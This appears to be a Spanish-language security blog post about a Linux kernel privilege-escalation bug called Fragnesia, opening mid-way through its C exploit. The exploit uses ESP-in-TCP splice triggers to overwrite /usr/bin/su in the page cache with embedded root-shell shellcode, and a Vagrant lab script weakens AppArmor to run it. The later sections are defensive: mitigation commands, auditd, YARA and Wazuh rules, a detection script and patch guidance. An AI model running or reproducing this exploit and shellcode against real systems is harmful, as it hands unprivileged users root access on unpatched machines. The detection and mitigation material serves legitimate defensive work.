		die("receiver TCP_ULP espintcp");

	printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n",
	       getuid(), geteuid());
	usleep(RECEIVER_POST_ULP_US);
	close(cfd);
	close(fd);
	_exit(0);
}

static void sender(int ready_read_fd)
{
	struct sockaddr_in6 dst = {
		.sin6_family = AF_INET6,
		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
		.sin6_port = htons(TCP_PORT),
		.sin6_flowinfo = 0,
		.sin6_scope_id = 0,
	};
	struct {
		__be16 len;
		unsigned char esp[16];
	} prefix;
	loff_t off, start_off;
	int fd, sock, p[2], one = 1;
	ssize_t ret, sent;

	wait_ready(ready_read_fd);

	memset(&prefix, 0xcc, sizeof(prefix));
	prefix.len = htons(sizeof(prefix) + FRAG_LEN);
	prefix.esp[0] = 0x00;
	prefix.esp[1] = 0x00;
	prefix.esp[2] = 0x01;
	prefix.esp[3] = 0x00;
	store_be32(&prefix.esp[4], active_esp_seq);
	memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));

	fd = open(target_file, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("sender open target");
	sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (sock < 0)
		die("sender socket");
	if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
		die("sender TCP_NODELAY");
	if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
		die("sender connect");

	sent = send(sock, &prefix, sizeof(prefix), 0);
	if (sent != (ssize_t)sizeof(prefix))
		die("sender send prefix");

	usleep(SENDER_PRE_SPLICE_US);

	if (pipe(p) < 0)
		die("sender pipe");
	off = target_splice_off;
	start_off = off;
	ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
	if (ret != FRAG_LEN)
		die("sender splice file to pipe");

	ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
	if (ret < 0)
		die("sender splice pipe to tcp");

	printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
	       getuid(), geteuid(), sent, ret, (long long)start_off,
	       (long long)off);

	close(p[0]);
	close(p[1]);
	close(sock);
	close(fd);
	_exit(ret == FRAG_LEN ? 0 : 3);
}

static int run_trigger_pair(void)
{
	int pipefd[2], st_rx, st_tx;
	pid_t rx, tx;

	if (pipe(pipefd) < 0)
		die("pipe");

	rx = fork();
	if (rx < 0)
		die("fork receiver");
	if (rx == 0) {
		close(pipefd[0]);
		receiver(pipefd[1]);
	}

	tx = fork();
	if (tx < 0)
		die("fork sender");
	if (tx == 0) {
		close(pipefd[1]);
		sender(pipefd[0]);
	}

	close(pipefd[0]);
	close(pipefd[1]);
	if (waitpid(tx, &st_tx, 0) < 0)
		die("wait sender");
	if (waitpid(rx, &st_rx, 0) < 0)
		die("wait receiver");

	printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx);
	if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
	    !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
		return -1;
	return 0;
}

static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len)
{
	uint64_t n = (uint64_t)byte_len;

	if (n == 0) {
		fprintf(stderr, "byte range is empty\n");
		exit(2);
	}
	if (n - 1 > UINT64_MAX - byte_off) {
		fprintf(stderr, "byte range overflows uint64_t\n");
		exit(2);
	}
	return byte_off + n - 1;
}

static void draw_smash_frame(const unsigned char *desired, size_t desired_len,
			     const unsigned char *live, size_t idx_current,
			     size_t changed, size_t skipped, int first_draw)
{
	size_t done   = changed + skipped;
	size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W;
	size_t row, col, bi, i;

	static char frame_buf[8192];
	setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf));
	if (!first_draw)
		printf("\033[s\033[?25l\033[1;1H");

	printf("\r\033[2K" C_BCYN "[*]" C_RESET
	       " smashing %zu bytes into read-only page cache"
	       "  changed=" C_BGRN "%zu" C_RESET
	       "  skipped=" C_DIM "%zu" C_RESET
	       "  remaining=" C_BYLW "%zu" C_RESET "\n",
	       desired_len, changed, skipped,
	       done < desired_len ? desired_len - done : (size_t)0);

	for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) {
		int col0_hi = (idx_current < desired_len &&
			       row * 16 == idx_current);
		printf("\r\033[2K" C_DIM "  %04zx%s" C_RESET,
		       row * 16, col0_hi ? " " : "  ");

		for (col = 0; col < 16; col++) {
			bi = row * 16 + col;
			int cur = (idx_current < desired_len && bi == idx_current);

			if (col == 8) {
				printf(cur ? "[" : " ");
				if (cur) {
					printf(C_BYLW "%02x]" C_RESET, live[bi]);
					continue;
				}
			}

			if (bi >= desired_len) { printf("   "); continue; }

			if (bi < idx_current) {
				printf(live[bi] == desired[bi]
				       ? C_BGRN "%02x " C_RESET
				       : C_BRED "%02x " C_RESET, live[bi]);
			} else if (cur) {
				printf(col == 0
				       ? C_BYLW "[%02x]" C_RESET
				       : "\b" C_BYLW "[%02x]" C_RESET, live[bi]);
			} else {
				printf(C_DIM "%02x " C_RESET, desired[bi]);
			}
		}
		printf("\n");
	}

	printf("\r\033[2K  [" C_BGRN);
	for (i = 0; i < filled; i++)          printf("=");
	printf(C_RESET C_DIM);
	for (i = filled; i < FRAME_BAR_W; i++) printf("-");
	printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n",
	       done, desired_len,
	       desired_len ? done * 100 / desired_len : (size_t)100);

	printf("\r\033[2K" C_DIM
	       "────────────────────────────────────────────────────────────"
	       C_RESET "\n");

	fflush(stdout);
	setvbuf(stdout, NULL, _IONBF, 0);
	if (!first_draw)
		printf("\033[?25h\033[u");
}

static int replace_existing_bytes_after(uint64_t byte_off,
					const unsigned char *desired,
					size_t desired_len,
					uint64_t file_size)
{
	uint64_t last = checked_byte_range_last(byte_off, desired_len);
	size_t idx, changed = 0, skipped = 0;
	unsigned char live_state[PAYLOAD_LEN];
	int fd_init;

	if (last >= file_size) {
		fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n",
			(unsigned long long)byte_off, desired_len,
			(unsigned long long)file_size);
		return 2;
	}
	if (last > file_size - FRAG_LEN) {
		fprintf(stderr,
			"collateral-after mode requires requested range end <= size-%d\n",
			FRAG_LEN);
		return 2;
	}

	printf(C_BCYN "\n[*]" C_RESET
	       " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
	       RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
	printf(C_BCYN "[*]" C_RESET
	       " range: offset=0x%llx len=%zu last=0x%llx"
	       " enc_len=%d splice_len=%d\n",
	       (unsigned long long)byte_off, desired_len,
	       (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
	printf(C_BCYN "[*]" C_RESET " ");
	print_hex_bytes("payload", desired, desired_len);
	printf("\n");

	build_stream0_table();
	printf("\n");

	fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
	if (fd_init < 0) die("open live_state init");
	if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len)
		die("pread live_state init");
	close(fd_init);

	printf("\033[2J\033[H");
	draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);

	{
		struct winsize ws;
		int tr = 40;
		if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES)
			tr = (int)ws.ws_row;
		printf("\033[%d;%dr", FRAME_LINES + 1, tr);
		printf("\033[%d;1H", tr);
		fflush(stdout);
	}

	for (idx = 0; idx < desired_len; idx++) {
		uint64_t off = byte_off + idx;
		unsigned char current, final, need_stream;

		live_state[idx] = read_byte_at(target_file, off);
		current = live_state[idx];

		draw_smash_frame(desired, desired_len, live_state, idx,
				 changed, skipped, 0);

		if (current == desired[idx]) {
			printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET,
			       idx + 1, desired_len, (unsigned long long)off, current);
			skipped++;
			continue;
		}

		target_splice_off = (loff_t)off;
		need_stream = current ^ desired[idx];
		choose_iv_for_stream0(need_stream);
		active_esp_seq++;

		printf(C_BCYN "[*]" C_RESET " [%zu/%zu]"
		       " +%04llx  " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET
		       "  xor=" C_CYAN "%02x" C_RESET
		       " seq=" C_DIM "%u" C_RESET
		       " nonce=" C_DIM "%u" C_RESET "\n",
		       idx + 1, desired_len, (unsigned long long)off,
		       current, desired[idx], need_stream,
		       active_esp_seq, stream0_nonce[need_stream]);

		printf(C_RESET " firing espintcp splice...\n");

		if (run_trigger_pair() < 0) {
			fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
			return 2;
		}

		final = read_byte_at(target_file, off);
		live_state[idx] = final;

		if (final == desired[idx]) {
			printf(C_BGRN "[+]" C_RESET " smashed"
			       C_DIM " %02x -> %02x  index=%zu offset=+%04llx\n\n" C_RESET,
			       current, final, idx, (unsigned long long)off);
			changed++;
			continue;
		}
		if (final == current) {
			printf(C_BGRN "[-]" C_RESET
			       " fixed behavior: byte unchanged at index=%zu offset=%llu\n",
			       idx, (unsigned long long)off);
			return 0;
		}
		printf(C_BRED "[-]" C_RESET
		       " BUG: byte changed but desired-value check mismatched"
		       " index=%zu offset=%llu desired=%02x got=%02x\n",
		       idx, (unsigned long long)off, desired[idx], final);
		return 1;
	}

	draw_smash_frame(desired, desired_len, live_state, desired_len,
			 changed, skipped, 0);

	printf("\033[r\033[%d;1H\n", FRAME_LINES + 1);

	printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
	for (idx = 0; idx < desired_len; idx++) {
		uint64_t off = byte_off + idx;
		unsigned char final = read_byte_at(target_file, off);

		if (final != desired[idx]) {
			printf(C_BRED "[-]" C_RESET
			       " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
			       idx, (unsigned long long)off, desired[idx], final);
			return 1;
		}
	}

	printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET
	       " skipped=" C_DIM "%zu" C_RESET "\n",
	       desired_len, changed, skipped);
	if (changed == 0) {
		fprintf(stderr, "all requested bytes already had desired values\n");
		return 2;
	}

	printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
	return 1;
}

static void usage(const char *prog)
{
	fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog);
	fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog);
}

static const uint8_t shell_elf[PAYLOAD_LEN] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
	0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
	0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
	0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};

int main(int argc, char **argv)
{
	unsigned char *desired;
	uint64_t file_size, byte_off;
	size_t desired_len, sample_len;
	int ret;

	setvbuf(stdout, NULL, _IONBF, 0);

	printf(C_BCYN "[*]" C_RESET
	       " uid=" C_BWHT "%d" C_RESET
	       " euid=" C_BWHT "%d" C_RESET
	       " gid=" C_BWHT "%d" C_RESET
	       " egid=" C_BWHT "%d" C_RESET "\n",
	       getuid(), geteuid(), getgid(), getegid());
	printf(C_BCYN "[*]" C_RESET
	       " mode=xfrm_espintcp_pagecache_replace collateral=after\n");
	printf("\n");

	file_size = use_existing_target("/usr/bin/su");
	byte_off = 0;
	desired = (unsigned char *)shell_elf;
	desired_len = PAYLOAD_LEN;

	printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n",
	       target_file, (unsigned long long)file_size);
	verify_write_denied("outer");
	setup_user_netns_xfrm();
	verify_write_denied("userns_root_mapped_to_outer_user");

	ret = replace_existing_bytes_after(byte_off, desired, desired_len,
					   file_size);
	write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);
	execve("/usr/bin/su", NULL, NULL);
	return ret;
}

Nota: El codigo fuente completo esta disponible en github.com/v12-security/pocs/tree/main/fragnesia. El parche que corrige el bug es de solo dos lineas en net/core/skbuff.c: lore.kernel.org/netdev/20260513041635.

Lab: reproduccion con Vagrant

Requisitos

  • Vagrant >= 2.4
  • VirtualBox >= 7.0
  • Conexion a internet

Importante: Fragnesia requiere unshare(CLONE_NEWUSER | CLONE_NEWNET). En Ubuntu 24.04+ con AppArmor, hay que deshabilitar la restriccion de user namespaces no privilegiados para reproducir el exploit.

Desplegar la VM vulnerable

Crea el siguiente script deploy_fragnesia_lab.sh:

BASH
#!/bin/bash
# deploy_fragnesia_lab.sh - Lab para CVE-2026-46300 (Fragnesia)
# Uso: chmod +x deploy_fragnesia_lab.sh && ./deploy_fragnesia_lab.sh
# NOTA: Requiere Ubuntu 24.04 con kernel 6.8+.

LAB_DIR="fragnesia_lab"

echo "=== CVE-2026-46300 (Fragnesia) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-46300 (Fragnesia) - Lab vulnerable
# Requiere Ubuntu 24.04 con kernel 6.8+

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-24.04"
  config.vm.hostname = "fragnesia-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "fragnesia-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    export DEBIAN_FRONTEND=noninteractive

    # No actualizar kernel para mantener version vulnerable
    apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null

    # Instalar dependencias
    apt-get update -qq
    apt-get install -y -qq gcc make git curl

    # Deshabilitar restriccion AppArmor de user namespaces
    # (necesario para que el exploit funcione en Ubuntu 24.04+)
    sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
    echo "kernel.apparmor_restrict_unprivileged_userns=0" >> /etc/sysctl.d/99-fragnesia-lab.conf

    # Cargar modulos necesarios
    modprobe xfrm_user 2>/dev/null || true
    modprobe af_key 2>/dev/null || true
    modprobe esp4 2>/dev/null || true

    # Persistir carga de modulos
    cat >> /etc/modules-load.d/fragnesia.conf << 'MODEOF'
xfrm_user
af_key
esp4
MODEOF

    # Crear usuario sin privilegios
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar y compilar el exploit
    cd /home/attacker
    git clone https://github.com/v12-security/pocs.git 2>/dev/null || true
    if [ -f /home/attacker/pocs/fragnesia/fragnesia.c ]; then
      cd /home/attacker/pocs/fragnesia
      gcc -o exp fragnesia.c 2>/dev/null || \
        echo "[!] Compilacion fallida - compilar manualmente: gcc -o exp fragnesia.c"
    fi
    chown -R attacker:attacker /home/attacker/pocs

    echo ""
    echo "============================================"
    echo " CVE-2026-46300 (Fragnesia)"
    echo " LPE via ESP-in-TCP page cache corruption"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   cd pocs/fragnesia && ./exp"
    echo ""
    echo " El exploit sobreescribe /usr/bin/su en"
    echo " page cache con shellcode -> root shell"
    echo ""
    echo " Para limpiar page cache:"
    echo "   echo 1 > /proc/sys/vm/drop_caches"
    echo " O: vagrant destroy -f && vagrant up"
    echo ""
    echo " Para mitigar:"
    echo "   rmmod esp4 esp6 2>/dev/null"
    echo "   printf 'install esp4 /bin/false\n"
    echo "   install esp6 /bin/false\n' > "
    echo "     /etc/modprobe.d/fragnesia.conf"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Ejecutar:

BASH
chmod +x deploy_fragnesia_lab.sh
./deploy_fragnesia_lab.sh

Verificar que el sistema es vulnerable

BASH
vagrant ssh

# Comprobar kernel
uname -r
# 6.8.0-111-generic (o similar, vulnerable)

# Comprobar que los modulos estan cargados
lsmod | grep -E "xfrm|esp"
# xfrm_user   61440  0
# esp4         28672  0

# Verificar que AppArmor no bloquea user namespaces
sysctl kernel.apparmor_restrict_unprivileged_userns
# kernel.apparmor_restrict_unprivileged_userns = 0

Ejecutar el exploit

BASH
# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
cd pocs/fragnesia
./exp

# Salida esperada:
# [*] Fragnesia - CVE-2026-46300
# [*] ESP-in-TCP page cache LPE
# [*] uid=1001
# [+] built nonce table (256 entries)
# [+] writing payload: 192 bytes to /usr/bin/su
# [+] byte 0: 0x7f (ELF magic) ... ok
# [+] byte 1: 0x45 ... ok
# ...
# [+] /usr/bin/su patched in page cache
# [+] spawning root shell...
#
# id
# uid=0(root) gid=0(root) groups=0(root)

Limpiar despues de la prueba

BASH
# Como root, descartar page cache (restaura /usr/bin/su desde disco)
echo 1 > /proc/sys/vm/drop_caches

# Verificar que su vuelve a la normalidad
file /usr/bin/su
# /usr/bin/su: ELF 64-bit LSB pie executable, x86-64...

# O destruir la VM completamente
vagrant destroy -f && vagrant up

Workaround: mismo que Dirty Frag

La mitigacion es identica a Dirty Frag. Deshabilitar los modulos ESP y bloquear su recarga automatica (importante: rmmod sin el blacklist de modprobe no es suficiente, ya que el exploit provoca la carga automatica de los modulos via TCP_ULP):

BASH
# Mitigacion one-liner (los tres pasos son necesarios)
rmmod esp4 esp6 2>/dev/null; printf 'install esp4 /bin/false\ninstall esp6 /bin/false\n' > /etc/modprobe.d/fragnesia.conf; echo 1 > /proc/sys/vm/drop_caches

# Verificar
lsmod | grep esp
# (sin output = modulos descargados)

Que rompe esto:

  • Afecta a: IPsec (libreswan, strongSwan)
  • No afecta a: WireGuard, OpenVPN, SSH, TLS/SSL, firewalls (iptables/nftables)
  • Como verificar impacto: ip xfrm state list (si hay SAs activas, hay IPsec en uso)

Para Ubuntu 24.04+, la restriccion de AppArmor sobre user namespaces (kernel.apparmor_restrict_unprivileged_userns=1) proporciona mitigacion adicional por defecto, aunque V12 indica que existen bypasses.

Deteccion del ataque

Regla auditd

BASH
# /etc/audit/rules.d/fragnesia.rules

# Detectar TCP_ULP espintcp (indicador clave del exploit)
-a always,exit -F arch=b64 -S setsockopt -F a1=6 -F a2=31 -k fragnesia_ulp

# Detectar carga de modulos ESP
-a always,exit -F arch=b64 -S init_module -S finit_module -k fragnesia_modload

# Detectar unshare con CLONE_NEWUSER + CLONE_NEWNET
-a always,exit -F arch=b64 -S unshare -k fragnesia_unshare

# Detectar ejecucion de /usr/bin/su por usuarios no-root
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/su -F auid>=1000 -k fragnesia_su_exec
BASH
augenrules --load

Regla YARA

YARA
rule Fragnesia_CVE_2026_46300 {
    meta:
        description = "Detecta el exploit Fragnesia (CVE-2026-46300)"
        author = "Red Orbita"
        date = "2026-05-18"
        cve = "CVE-2026-46300"
        severity = "critical"

    strings:
        // Strings del exploit
        $s1 = "fragnesia" ascii nocase
        $s2 = "espintcp" ascii
        $s3 = "TCP_ULP" ascii
        $s4 = "page cache" ascii
        $s5 = "nonce_table" ascii
        $s6 = "build_nonce_table" ascii
        $s7 = "v12-security" ascii

        // Shellcode setresuid(0,0,0) + setresgid(0,0,0)
        $shellcode = { 31 ff 31 f6 31 c0 b0 }

        // Patron de setup XFRM SA con SPI 0x100
        $xfrm_spi = { 00 01 00 00 }

    condition:
        ($s1 and ($s2 or $s3)) or
        ($s2 and $s5) or
        ($s6 and $s7) or
        ($shellcode and $s1) or
        (4 of ($s*))
}

Reglas Wazuh

Anadir en /var/ossec/etc/rules/local_rules.xml:

XML
<group name="fragnesia,exploit,cve-2026-46300">

  <!-- Deteccion de TCP_ULP espintcp via auditd -->
  <rule id="100520" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">fragnesia_ulp</field>
    <description>CVE-2026-46300: TCP_ULP espintcp detectado (posible Fragnesia)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de carga de modulos ESP -->
  <rule id="100521" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">fragnesia_modload</field>
    <description>CVE-2026-46300: Carga de modulo esp4/esp6 detectada</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de unshare sospechoso -->
  <rule id="100522" level="8">
    <if_sid>80700</if_sid>
    <field name="audit.key">fragnesia_unshare</field>
    <description>CVE-2026-46300: unshare() detectado (posible setup de exploit)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Correlacion: ULP + su exec en menos de 60 segundos -->
  <rule id="100523" level="15" frequency="2" timeframe="60">
    <if_matched_sid>100520</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-46300: Explotacion Fragnesia en curso (espintcp ULP + su correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

</group>

Elastic Security / Splunk

CODE
# Kibana KQL: TCP_ULP espintcp
auditd.data.key: "fragnesia_ulp" OR (process.name: "su" AND auditd.data.key: "fragnesia_su_exec")

# Splunk SPL: correlacion
index=linux sourcetype=linux:audit (key="fragnesia_ulp" OR key="fragnesia_unshare")
| transaction host auid maxspan=60s
| where eventcount >= 2
| table _time, host, auid, exe, key

Script de deteccion rapida

BASH
#!/bin/bash
# check_fragnesia.sh - Verificar estado de CVE-2026-46300

echo "=== CVE-2026-46300 (Fragnesia) - Check ==="
echo ""

VULN=0

# 1. Verificar modulos ESP
for mod in esp4 esp6; do
    if lsmod | grep -q "^$mod"; then
        echo "[VULNERABLE] Modulo $mod cargado"
        VULN=1
    else
        echo "[OK] Modulo $mod NO cargado"
    fi
done

# 2. Verificar restriccion de user namespaces (Ubuntu)
echo ""
RESTRICT=$(sysctl -n kernel.apparmor_restrict_unprivileged_userns 2>/dev/null)
if [ "$RESTRICT" = "1" ]; then
    echo "[MITIGADO] AppArmor restringe user namespaces no privilegiados"
elif [ "$RESTRICT" = "0" ]; then
    echo "[RIESGO] AppArmor NO restringe user namespaces"
    VULN=1
else
    echo "[INFO] AppArmor restrict_unprivileged_userns no disponible (no Ubuntu?)"
fi

# 3. Verificar kernel
echo ""
echo "[INFO] Kernel: $(uname -r)"

# 4. Verificar integridad de /usr/bin/su
echo ""
echo "Verificando integridad de /usr/bin/su..."
MAGIC=$(xxd -l 4 -p /usr/bin/su 2>/dev/null)
if [ "$MAGIC" = "7f454c46" ]; then
    echo "  [OK] /usr/bin/su tiene magic ELF correcto"
    # Verificar que no es el shellcode (primer byte despues del header)
    BYTE=$(xxd -s 0x78 -l 2 -p /usr/bin/su 2>/dev/null)
    if [ "$BYTE" = "31ff" ]; then
        echo "  [CRITICO] /usr/bin/su contiene shellcode en offset 0x78 - COMPROMETIDO"
        VULN=2
    fi
else
    echo "  [SOSPECHOSO] /usr/bin/su tiene magic inusual: $MAGIC"
fi

# 5. Buscar el exploit
echo ""
echo "Buscando indicadores de compromiso..."
for dir in /home /tmp /var/tmp /dev/shm; do
    find "$dir" \( -name "fragnesia*" -o -name "fragnesia.c" \) 2>/dev/null | while read f; do
        echo "  [ALERTA] Posible exploit encontrado: $f"
    done
done

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Sistema comprometido - /usr/bin/su modificado en page cache"
    echo "          Accion inmediata: echo 1 > /proc/sys/vm/drop_caches"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Aplicar workaround:"
    echo "  rmmod esp4 esp6 2>/dev/null"
    echo "  printf 'install esp4 /bin/false\ninstall esp6 /bin/false\n' > /etc/modprobe.d/fragnesia.conf"
    echo "  echo 1 > /proc/sys/vm/drop_caches"
else
    echo "[OK] Sistema no vulnerable o mitigado"
fi

Solucion definitiva: actualizar el kernel

El parche es de solo dos lineas en net/core/skbuff.c. Preserva el marcador de fragmento compartido durante el coalescing, evitando que el kernel procese paginas del page cache como ciphertext ESP.

Aplicar parche por distribucion

BASH
# Ubuntu
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo reboot

# RHEL/Rocky/Alma
sudo dnf update kernel -y
sudo reboot

# Fedora
sudo dnf update kernel -y
sudo reboot

# Verificar
uname -r
# Kernel con parche aplicado

Cronologia de LPEs page cache en 2026

FechaVulnerabilidadCVESubsistema
29 abrilCopy FailCVE-2026-31431crypto (algif_aead)
7 mayoDirty FragCVE-2026-43284 + CVE-2026-43500xfrm ESP + RxRPC
13 mayoFragnesiaCVE-2026-46300xfrm ESP-in-TCP (espintcp ULP)

Tres LPEs via page cache en menos de tres semanas. Todas explotan diferentes paths para llegar al mismo resultado: escritura arbitraria sobre paginas de solo lectura del VFS page cache. El patron es claro: la interseccion entre subsistemas de red del kernel y el page cache es una superficie de ataque fertil que seguira produciendo vulnerabilidades.

Plan de respuesta recomendado

PrioridadAccionTiempo
InmediataVerificar que /usr/bin/su no contiene shellcode (xxd -s 0x78 -l 2 -p)< 15 min
InmediataAplicar workaround (rmmod esp4 esp6 + modprobe blacklist)< 1 hora
InmediataVerificar kernel.apparmor_restrict_unprivileged_userns=1 en Ubuntu< 15 min
24hDesplegar reglas de auditoria y SIEM< 24h
72hPlanificar ventana de parche de kernel< 72h
1 semanaActualizar kernel en todos los sistemas< 7 dias

Conclusiones

Fragnesia (CVE-2026-46300) confirma que la clase de vulnerabilidad "page cache write via subsistemas de red" no esta agotada. Puntos clave:

  • Mismo workaround que Dirty Frag: rmmod esp4 esp6 y blacklist de modulos. Si ya aplicaste la mitigacion de Dirty Frag, estas cubierto
  • Parche trivial: dos lineas en skbuff.c. El problema es que aun no ha llegado a stable ni a las distribuciones
  • AppArmor mitiga en Ubuntu: la restriccion de user namespaces no privilegiados bloquea el exploit, pero existen bypasses y no todas las distros la implementan
  • Escritura byte a byte: mas lento que Dirty Frag (que escribe 4 bytes por trigger) pero mas controlado y sin necesidad de brute force criptografico

Si tu infraestructura ya fue mitigada contra Dirty Frag, Fragnesia esta cubierta. Si no, aplica el workaround ahora y parchea el kernel cuando el fix llegue a tu distribucion.

Referencias

Comentarios